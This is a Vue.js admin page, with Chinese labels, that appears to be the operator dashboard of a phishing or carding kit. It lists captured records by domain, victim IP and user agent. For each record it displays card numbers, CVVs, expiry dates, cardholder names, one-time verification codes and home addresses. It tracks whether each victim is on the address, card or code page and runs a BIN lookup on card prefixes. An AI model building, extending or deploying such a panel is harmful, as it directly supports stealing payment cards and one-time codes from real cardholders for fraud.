<template>
    <div class="app-container">
        <el-form
            :model="queryParams"
            ref="queryForm"
            size="small"
            :inline="true"
            v-show="showSearch"
            label-width="68px"
        >
            <el-form-item label="域名" prop="page_url">
                <el-input
                    v-model="queryParams.page_url"
                    placeholder="请输入域名"
                    clearable
                    style="width: 240px"
                    @keyup.enter.native="handleQuery"
                />
            </el-form-item>
            <el-form-item label="卡头过滤" prop="card_number">
                <el-input
                    v-model="queryParams.card_number"
                    placeholder="请输入卡头过滤"
                    clearable
                    style="width: 240px"
                    @keyup.enter.native="handleQuery"
                />
            </el-form-item>
            <el-form-item label="ip" prop="user_ip">
                <el-input
                    v-model="queryParams.user_ip"
                    placeholder="请输入ip"
                    clearable
                    style="width: 240px"
                    @keyup.enter.native="handleQuery"
                />
            </el-form-item>
            <!-- <el-form-item label="状态" prop="status">
                <el-select
                    v-model="queryParams.status"
                    placeholder="字典状态"
                    clearable
                    style="width: 240px"
                >
                    <el-option
                        v-for="dict in dict.type.sys_normal_disable"
                        :key="dict.value"
                        :label="dict.label"
                        :value="dict.value"
                    />
                </el-select>
            </el-form-item> -->
            <el-form-item label="创建时间">
                <el-date-picker
                    v-model="dateRange"
                    value-format="yyyy-MM-dd HH:mm:ss"
                    type="datetimerange"
                    range-separator="-"
                    start-placeholder="开始日期"
                    end-placeholder="结束日期"
                ></el-date-picker>
            </el-form-item>
            <el-form-item label="仅看填卡">
                <el-switch v-model="queryParams.cardNumberTag"> </el-switch>
            </el-form-item>
            <el-form-item label="仅验证码">
                <el-switch v-model="queryParams.verificationTag"> </el-switch>
            </el-form-item>
            <el-form-item label="ua" prop="ua">
                <el-input
                    v-model="queryParams.ua"
                    placeholder="请输入ua"
                    clearable
                    style="width: 240px"
                    @keyup.enter.native="handleQuery"
                />
            </el-form-item>
            <el-form-item>
                <el-button
                    type="primary"
                    icon="el-icon-search"
                    size="mini"
                    @click="handleQuery"
                    ><span style="color: white; font-weight: bold; ">搜索</span></el-button
                >
                <el-button
                    icon="el-icon-refresh"
                    size="mini"
                    @click="resetQuery"
                    >重置</el-button
                >
            </el-form-item>
        </el-form>

        <el-row :gutter="10" class="mb8">
            <!-- <el-col :span="1.5">
                <el-button
                    type="primary"
                    plain
                    icon="el-icon-plus"
                    size="mini"
                    @click="handleAdd"
                    v-hasPermi="['system:dict:add']"
                    >新增</el-button
                >
            </el-col>
            <el-col :span="1.5">
                <el-button
                    type="success"
                    plain
                    icon="el-icon-edit"
                    size="mini"
                    :disabled="single"
                    @click="handleUpdate"
                    v-hasPermi="['system:dict:edit']"
                    >修改</el-button
                >
            </el-col>
            <el-col :span="1.5">
                <el-button
                    type="danger"
                    plain
                    icon="el-icon-delete"
                    size="mini"
                    :disabled="multiple"
                    @click="handleDelete"
                    v-hasPermi="['system:dict:remove']"
                    >删除</el-button
                >
            </el-col>
            <el-col :span="1.5">
                <el-button
                    type="warning"
                    plain
                    icon="el-icon-download"
                    size="mini"
                    @click="handleExport"
                    v-hasPermi="['system:dict:export']"
                    >导出</el-button
                >
            </el-col>
            <el-col :span="1.5">
                <el-button
                    type="danger"
                    plain
                    icon="el-icon-refresh"
                    size="mini"
                    @click="handleRefreshCache"
                    v-hasPermi="['system:dict:remove']"
                    >刷新缓存</el-button
                >
            </el-col> -->
            <right-toolbar
                :showSearch.sync="showSearch"
                @queryTable="getList"
            ></right-toolbar>
        </el-row>

        <el-table
            v-loading="loading"
            :data="typeList"
            @selection-change="handleSelectionChange"
        >
            <el-table-column type="selection" width="55" align="center" />
            <el-table-column label="编号" align="center" prop="id" />
            <el-table-column
                label="域名"
                align="center"
                prop="page_url"
                :show-overflow-tooltip="true"
            />
            <el-table-column
                label="ip"
                align="center"
                prop="user_ip"
                :show-overflow-tooltip="true"
            >
                <!-- <template slot-scope="scope">
                    <router-link
                        :to="'/system/dict-data/index/' + scope.row.dictId"
                        class="link-type"
                    >
                        <span>{{ scope.row.dictType }}</span>
                    </router-link>
                </template> -->
            </el-table-column>
            <el-table-column label="UA" align="center" prop="ua">
                <!-- <template slot-scope="scope">
                    <dict-tag
                        :options="dict.type.sys_normal_disable"
                        :value="scope.row.status"
                    />
                </template> -->
            </el-table-column>
            <el-table-column
                label="数据详情"
                align="center"
                prop="remark"
                width="300px"
            >
                <template slot-scope="scope">
                    <div
                        v-if="
                            scope.row.card_name && queryParams.verificationTag
                        "
                        class="row"
                    >
                        <div class="label">
                            <el-tag type="info" effect="plain" size="mini"
                                >cardName</el-tag
                            >
                        </div>
                        <div
                            @click="copyToClipboard(scope.row.card_name)"
                            class="value"
                        >
                            {{ scope.row.card_number }}
                        </div>
                    </div>
                    <div
                        v-if="
                            scope.row.card_number && queryParams.verificationTag
                        "
                        class="row"
                    >
                        <div class="label">
                            <el-tag size="mini">cardNumber</el-tag>
                        </div>
                        <div
                            @click="copyToClipboard(scope.row.card_number)"
                            class="value"
                        >
                            {{ scope.row.card_number }}
                        </div>
                    </div>
                    <div
                        v-if="scope.row.cvv && queryParams.verificationTag"
                        class="row"
                    >
                        <div class="label">
                            <el-tag type="info" effect="plain" size="mini"
                                >cvv</el-tag
                            >
                        </div>
                        <div
                            @click="copyToClipboard(scope.row.cvv)"
                            class="value"
                        >
                            {{ scope.row.cvv }}
                        </div>
                    </div>
                    <div
                        v-if="
                            scope.row.expiry_date && queryParams.verificationTag
                        "
                        class="row"
                    >
                        <div class="label">
                            <el-tag type="info" effect="plain" size="mini"
                                >expiry</el-tag
                            >
                        </div>
                        <div class="value">
                            {{ scope.row.expiry_date }}
                        </div>
                    </div>
                    <div
                        v-if="
                            scope.row.verification_code &&
                            (queryParams.verificationTag ||
                                queryParams.cardNumberTag)
                        "
                        class="row"
                    >
                        <div class="label">
                            <el-tag type="info" effect="plain" size="mini"
                                >verificationCode</el-tag
                            >
                        </div>
                        <div
                            @click="
                                copyToClipboard(scope.row.verification_code)
                            "
                            class="value"
                        >
                            {{ scope.row.verification_code }}
                        </div>
                    </div>

                    <div
                        v-if="hasAnyProperty(scope.row, addressProps)"
                        class="row"
                    >
                        <div class="label">
                          <el-tag type="info" effect="plain" size="mini" style="font-weight: bold; color: #545151;">
                            在填地址页
                          </el-tag>
                        </div>
                        <div class="value">
                            <ShowMoreBtn
                                :showProps="addressProps"
                                :detail="scope.row"
                                title="在填地址页"
                            />
                        </div>
                    </div>
                    <div
                        v-if="hasAnyProperty(scope.row, cardProps)"
                        class="row"
                    >
                        <div class="label">
                          <el-tag type="info" effect="plain" size="mini" style="font-weight: bold; color: #1850ab;">
                                在填卡页</el-tag
                            >
                        </div>
                        <div class="value">
                            <ShowMoreBtn
                                :showProps="cardProps"
                                :detail="scope.row"
                                title="在填卡页"
                            />
                        </div>
                    </div>
                    <div
                        v-if="hasAnyProperty(scope.row, codeProps)"
                        class="row"
                    >
                        <div class="label">
                          <el-tag type="info" effect="plain" size="mini" style="font-weight: bold; color: #a643ad;">
                                在填验证码页</el-tag
                            >
                        </div>
                        <div class="value">
                            <ShowMoreBtn
                                :showProps="codeProps"
                                :detail="scope.row"
                                title="在填验证码页"
                            />
                        </div>
                    </div>
                </template>
            </el-table-column>
            <el-table-column
                label="创建时间"
                align="center"
                prop="create_time"
                width="180"
            >
                <template slot-scope="scope">
                    <span>{{ parseTime(scope.row.create_time) }}</span>
                </template>
            </el-table-column>
            <el-table-column
                label="更新时间"
                align="center"
                prop="update_time"
                width="180"
            >
                <template slot-scope="scope">
                    <span>{{ parseTime(scope.row.update_time) }}</span>
                </template>
            </el-table-column>
            <el-table-column
                label="操作"
                align="center"
                class-name="small-padding fixed-width"
            >
                <template slot-scope="scope">
                    <el-button
                        size="mini"
                        type="text"
                        icon="el-icon-edit"
                        @click="handleView(scope.row)"
                        v-hasPermi="['tool:datasearch:view']"
                        >预览</el-button
                    >
                    <el-button
                        size="mini"
                        type="text"
                        icon="el-icon-delete"
                        @click="handleDelete(scope.row)"
                        v-hasPermi="['system:dict:remove']"
                        >删除</el-button
                    >
                </template>
            </el-table-column>
        </el-table>

        <pagination
            v-show="total > 0"
            :total="total"
            :page.sync="queryParams.page"
            :limit.sync="queryParams.per_page"
            @pagination="getList"
        />

        <!-- 添加或修改参数配置对话框 -->
        <el-dialog
            :title="title"
            :visible.sync="open"
            width="500px"
            append-to-body
        >
            <el-form ref="form" :model="form" :rules="rules" label-width="80px">
                <el-form-item label="字典名称" prop="dictName">
                    <el-input
                        v-model="form.dictName"
                        placeholder="请输入字典名称"
                    />
                </el-form-item>
                <el-form-item label="字典类型" prop="dictType">
                    <el-input
                        v-model="form.dictType"
                        placeholder="请输入字典类型"
                    />
                </el-form-item>
                <el-form-item label="状态" prop="status">
                    <el-radio-group v-model="form.status">
                        <el-radio
                            v-for="dict in dict.type.sys_normal_disable"
                            :key="dict.value"
                            :label="dict.value"
                            >{{ dict.label }}</el-radio
                        >
                    </el-radio-group>
                </el-form-item>
                <el-form-item label="备注" prop="remark">
                    <el-input
                        v-model="form.remark"
                        type="textarea"
                        placeholder="请输入内容"
                    ></el-input>
                </el-form-item>
            </el-form>
            <div slot="footer" class="dialog-footer">
                <el-button type="primary" @click="submitForm">确 定</el-button>
                <el-button @click="cancel">取 消</el-button>
            </div>
        </el-dialog>

        <el-drawer
            title="预览"
            :visible.sync="drawer"
            :direction="direction"
            :before-close="handleClose"
        >
            <div class="detail-view">
                <div class="form-item">
                    <div class="label">编号</div>
                    <div class="value">{{ currentData.id }}</div>
                </div>
                <div class="form-item">
                    <div class="label">域名</div>
                    <div class="value">{{ currentData.page_url }}</div>
                </div>
                <div class="form-item">
                    <div class="label">UA</div>
                    <div class="value">{{ currentData.ua }}</div>
                </div>
                <div class="form-item">
                    <div class="label">数据详情</div>
                    <div class="value">
                        <div class="row">
                            <div class="label">
                                <el-tag size="mini">cardNumber</el-tag>
                            </div>
                            <div
                                @click="
                                    copyToClipboard(currentData.card_number)
                                "
                                class="value"
                            >
                                {{ currentData.card_number }}
                            </div>
                        </div>
                        <div class="row">
                            <div class="label">
                                <el-tag type="info" effect="plain" size="mini"
                                    >cvv</el-tag
                                >
                            </div>
                            <div
                                @click="copyToClipboard(currentData.cvv)"
                                class="value"
                            >
                                {{ currentData.cvv }}
                            </div>
                        </div>
                        <div class="row">
                            <div class="label">
                                <el-tag type="info" effect="plain" size="mini"
                                    >expiry</el-tag
                                >
                            </div>
                            <div class="value">
                                {{ currentData.expiry_date }}
                            </div>
                        </div>

                        <div class="row">
                            <div class="label">
                                <el-tag type="info" effect="plain" size="mini"
                                    >verificationCode</el-tag
                                >
                            </div>
                            <div
                                @click="
                                    copyToClipboard(
                                        currentData.verification_code
                                    )
                                "
                                class="value"
                            >
                                {{ currentData.verification_code || "-" }}
                            </div>
                        </div>
                    </div>
                </div>
                <div v-if="currentData.card_number">
                    <div class="flex">
                        <div class="card-img">
                            <div class="top">
                                <img
                                    class="card-chip"
                                    src="../../../assets/images/card-chip.png"
                                />
                                <img
                                    class="card-type"
                                    src="../../../assets/images/card-type-visa.png"
                                />
                            </div>
                            <div class="card-number">
                                {{
                                    splitStringIntoChunks(
                                        currentData.card_number,
                                        4
                                    ).join("     ")
                                }}
                            </div>
                            <div class="bottom">
                                <div class="card-info">
                                    <div class="info-name">Card Holder</div>
                                    <div class="info-value">
                                        {{ currentData.cardholder_name }}
                                    </div>
                                </div>
                                <div class="card-info">
                                    <div class="info-name">CVV</div>
                                    <div class="info-value">
                                        {{ currentData.cvv }}
                                    </div>
                                </div>
                                <!-- <div class="b-right"> -->
                                <div class="card-info">
                                    <div class="info-name">Expires</div>
                                    <div class="info-value">
                                        {{ currentData.expiry_date }}
                                    </div>
                                </div>

                                <!-- </div> -->
                            </div>
                        </div>
                        <div class="more">
                            <div
                                v-if="hasAnyProperty(currentData, addressProps)"
                                class="row"
                            >
                                <div class="label">
                                    <el-tag
                                        type="info"
                                        effect="plain"
                                        size="mini"
                                        >在填地址页</el-tag
                                    >
                                </div>
                                <div class="value">
                                    <ShowMoreBtn
                                        :showProps="addressProps"
                                        :detail="currentData"
                                        title="在填地址页"
                                    />
                                </div>
                            </div>
                            <div
                                v-if="hasAnyProperty(currentData, cardProps)"
                                class="row"
                            >
                                <div class="label">
                                    <el-tag
                                        type="info"
                                        effect="plain"
                                        size="mini"
                                        >在填卡页</el-tag
                                    >
                                </div>
                                <div class="value">
                                    <ShowMoreBtn
                                        :showProps="cardProps"
                                        :detail="currentData"
                                        title="在填卡页"
                                    />
                                </div>
                            </div>
                            <div
                                v-if="hasAnyProperty(currentData, codeProps)"
                                class="row"
                            >
                                <div class="label">
                                    <el-tag
                                        type="info"
                                        effect="plain"
                                        size="mini"
                                        >在填验证码页</el-tag
                                    >
                                </div>
                                <div class="value">
                                    <ShowMoreBtn
                                        :showProps="codeProps"
                                        :detail="currentData"
                                        title="在填验证码页"
                                    />
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="ext-table">
                        <div v-for="(item, index) in htmltext" :key="index">
                            <div v-html="item"></div>
                        </div>
                    </div>
                </div>
            </div>
        </el-drawer>
    </div>
</template>

<script>
import {
    listType,
    getType,
    delType,
    addType,
    updateType,
    refreshCache,
} from "@/api/system/dict/type";

import { queryUserInfoHistoryDateList } from "@/api/tool/dataSearch";
import { copyToClipboard } from "@/utils/index";
import ShowMoreBtn from "./showMoreBtn.vue";
export default {
    components: {
        ShowMoreBtn,
    },
    name: "Dict",
    dicts: ["sys_normal_disable"],
    data() {
        return {
            copyToClipboard,
            // 遮罩层
            loading: false,
            // 选中数组
            ids: [],
            // 非单个禁用
            single: true,
            // 非多个禁用
            multiple: true,
            // 显示搜索条件
            showSearch: true,
            // 总条数
            total: 0,
            // 字典表格数据
            typeList: [],
            // 弹出层标题
            title: "",
            // 是否显示弹出层
            open: false,
            // 日期范围
            dateRange: [],
            // 查询参数
            queryParams: {
                page: 1,
                per_page: 10,
                dictName: undefined,
                dictType: undefined,
                status: undefined,
                verificationTag: false,
                cardNumberTag: false,
            },
            // 表单参数
            form: {},
            // 表单校验
            rules: {
                dictName: [
                    {
                        required: true,
                        message: "字典名称不能为空",
                        trigger: "blur",
                    },
                ],
                dictType: [
                    {
                        required: true,
                        message: "字典类型不能为空",
                        trigger: "blur",
                    },
                ],
            },
            addressProps: [
                "email",
                "first_name",
                "last_name",
                "phone_number",
                "country",
                "region",
                "city",
                "status",
                "postal_code",
                "street",
                "street_number",
                "home_address",
            ],
            cardProps: [
                "cardholder_name",
                "card_number",
                "expiry_date",
                "cvv",
                "verification_code",
            ],
            codeProps: ["verification_code"],
            drawer: false,
            direction: "rtl",
            currentData: {},
            htmltext: [],
        };
    },
    created() {
        this.getList();
    },
    methods: {
        async readReadableStream(stream) {
            const iterator = this.streamToIterator(stream);
            const chunks = [];
            for await (const chunk of iterator) {
                chunks.push(chunk);
            }
            const combinedChunks = this.concatenateUint8Arrays(chunks);
            const decoder = new TextDecoder();
            const text = decoder.decode(combinedChunks);
            return text;
        },
        concatenateUint8Arrays(chunks) {
            // 创建一个新的 Uint8Array 来容纳所有数据
            const totalLength = chunks.reduce(
                (sum, chunk) => sum + chunk.length,
                0
            );
            const result = new Uint8Array(totalLength);
            let offset = 0;
            for (let chunk of chunks) {
                result.set(chunk, offset);
                offset += chunk.length;
            }
            return result;
        },
        async *streamToIterator(stream) {
            const reader = stream.getReader();
            try {
                while (true) {
                    const { done, value } = await reader.read();
                    if (done) break;
                    yield value;
                }
            } finally {
                reader.releaseLock();
            }
        },
        getCardInfo(code) {
            function extractTables(htmlString) {
                // 正则表达式匹配所有的 <table> 标签及其内容
                const tableRegex = /<table[^>]*>([\s\S]*?)<\/table>/g;
                let match;
                const tables = [];

                // 使用正则表达式的 exec 方法迭代匹配
                while ((match = tableRegex.exec(htmlString)) !== null) {
                    // match[0] 包含整个匹配的字符串，即 <table> 标签及其内容
                    tables.push(match[0]);
                }

                return tables;
            }
            fetch(`/binapi/zh/details/${code}`).then((result) => {
                console.log(result.body);

                this.readReadableStream(result.body)
                    .then((text) => {
                        const htmltext = extractTables(text).filter((i) =>
                            i.includes("w-full")
                        );
                        this.htmltext = htmltext;
                    })
                    .catch((error) => {
                        console.error("Error reading the stream:", error);
                    });
            });
        },

        splitStringIntoChunks(str, chunkSize = 4) {
            const chunks = [];
            for (let i = 0; i < str.length; i += chunkSize) {
                // 使用 slice 方法获取每个块
                chunks.push(str.slice(i, i + chunkSize));
            }
            return chunks;
        },
        hasAnyProperty(obj, properties) {
            return properties.some((property) => {
                return (
                    obj.hasOwnProperty(property) &&
                    obj[property] !== null &&
                    obj[property] !== undefined &&
                    obj[property] !== ""
                );
            });
        },
        /** 查询字典类型列表 */
        getList() {
            //   this.loading = true;
            queryUserInfoHistoryDateList(
                this.addDateRange2(this.queryParams, this.dateRange)
            ).then((response) => {
                this.typeList = response.results;
                this.total = response.total;
                //   this.loading = false;
            });
        },
        // 取消按钮
        cancel() {
            this.open = false;
            this.reset();
        },
        // 表单重置
        reset() {
            this.form = {
                dictId: undefined,
                dictName: undefined,
                dictType: undefined,
                status: "0",
                remark: undefined,
            };
            this.resetForm("form");
        },
        /** 搜索按钮操作 */
        handleQuery() {
            this.queryParams.page = 1;
            this.getList();
        },
        /** 重置按钮操作 */
        resetQuery() {
            this.dateRange = [];
            this.resetForm("queryForm");
            this.handleQuery();
        },
        /** 新增按钮操作 */
        handleAdd() {
            this.reset();
            this.open = true;
            this.title = "添加字典类型";
        },
        // 多选框选中数据
        handleSelectionChange(selection) {
            this.ids = selection.map((item) => item.dictId);
            this.single = selection.length != 1;
            this.multiple = !selection.length;
        },
        handleClose(done) {
            this.currentData = {};
            done();
        },
        handleView(record) {
            this.currentData = record;

            if (record.card_number) {
                this.getCardInfo(record.card_number.slice(0, 6));
            }
            this.drawer = true;
        },
        /** 修改按钮操作 */
        handleUpdate(row) {
            this.reset();
            const dictId = row.dictId || this.ids;
            getType(dictId).then((response) => {
                this.form = response.data;
                this.open = true;
                this.title = "修改字典类型";
            });
        },
        /** 提交按钮 */
        submitForm: function () {
            this.$refs["form"].validate((valid) => {
                if (valid) {
                    if (this.form.dictId != undefined) {
                        updateType(this.form).then((response) => {
                            this.$modal.msgSuccess("修改成功");
                            this.open = false;
                            this.getList();
                        });
                    } else {
                        addType(this.form).then((response) => {
                            this.$modal.msgSuccess("新增成功");
                            this.open = false;
                            this.getList();
                        });
                    }
                }
            });
        },
        /** 删除按钮操作 */
        handleDelete(row) {
            const dictIds = row.dictId || this.ids;
            this.$modal
                .confirm('是否确认删除字典编号为"' + dictIds + '"的数据项？')
                .then(function () {
                    return delType(dictIds);
                })
                .then(() => {
                    this.getList();
                    this.$modal.msgSuccess("删除成功");
                })
                .catch(() => {});
        },
        /** 导出按钮操作 */
        handleExport() {
            this.download(
                "system/dict/type/export",
                {
                    ...this.queryParams,
                },
                `type_${new Date().getTime()}.xlsx`
            );
        },
        /** 刷新缓存按钮操作 */
        handleRefreshCache() {
            refreshCache().then(() => {
                this.$modal.msgSuccess("刷新成功");
            });
        },
    },
};
</script>

<style lang="scss" scoped>
.row {
    width: 100%;
    display: flex;
    justify-content: flex-start;
    margin-bottom: 10px;
    .label {
        width: 40%;
    }
    .value {
        flex: 1;
        white-space: nowrap;
        overflow: hidden;
        cursor: pointer;
        text-overflow: ellipsis;
        .btn {
            border-style: dashed;
        }
    }
}

.detail-view {
    padding: 0 20px;
    .ext-table {
        font-size: 14px;

        ::v-deep {
            table {
                width: 100%;
            }
            svg {
                display: none;
            }
            a {
                pointer-events: none;
            }
        }
    }
    .flex {
        // display: flex;
    }
    .card-img {
        width: 425px;
        height: 270px;
        background: url("../../../assets/images/card.png");
        background-size: 100%;
        // transform: scale(0.9);
        border-radius: 8px;
        margin-bottom: 20px;
        padding: 24px;
        box-sizing: border-box;
        color: #fff;
        .top {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 40px;
        }

        .card-chip {
            width: 60px;
            height: 49px;
        }

        .card-type {
            height: 45px;
        }
        .card-number {
            height: 40px;
            font-size: 27px;
            font-family: Source Code Pro, monospace;
            margin-bottom: 40px;
        }
        .bottom {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .card-info {
            margin-right: 10px;
            .info-name {
                opacity: 0.75;
                font-size: 13px;
                margin-bottom: 10px;
            }
            .info-label {
                font-size: 18px;
                font-family: Source Code Pro, monospace;
            }
        }

        .b-right {
            display: flex;
        }
    }
    .form-item {
        .label {
            margin-bottom: 10px;
            font-weight: 500;
        }
        .value {
            font-size: 14px;
        }
        margin-bottom: 20px;
    }
}
</style>